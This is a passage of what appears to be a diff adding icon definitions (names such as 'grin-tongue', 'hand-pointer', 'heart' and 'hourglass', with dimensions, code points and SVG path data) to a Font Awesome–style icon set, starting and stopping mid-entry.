504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"], + "grin-tongue": [496, 512, [], "f589", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"], + "grin-tongue-squint": [496, 512, [], "f58a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z"], + "grin-tongue-wink": [496, 512, [], "f58b", "M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z"], + "grin-wink": [496, 512, [], "f58c", "M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"], + "hand-lizard": [576, 512, [], "f258", "M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z"], + "hand-paper": [448, 512, [], "f256", "M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z"], + "hand-peace": [448, 512, [], "f25b", "M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z"], + "hand-point-down": [448, 512, [], "f0a7", "M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z"], + "hand-point-left": [512, 512, [], "f0a5", "M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"], + "hand-point-right": [512, 512, [], "f0a4", "M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z"], + "hand-point-up": [448, 512, [], "f0a6", "M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z"], + "hand-pointer": [448, 512, [], "f25a", "M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z"], + "hand-rock": [512, 512, [], "f255", "M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z"], + "hand-scissors": [512, 512, [], "f257", "M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z"], + "hand-spock": [512, 512, [], "f259", "M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z"], + "handshake": [640, 512, [], "f2b5", "M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z"], + "hdd": [576, 512, [], "f0a0", "M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z"], + "heart": [512, 512, [], "f004", "M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z"], + "hospital": [448, 512, [], "f0f8", "M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z"], + "hourglass": [384, 512, [], "f254", "M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z"], + "id-badge": [384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"], + "id-card": [576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"], + "image": [512, 512, [], "f03e", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z"], + "images": [576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 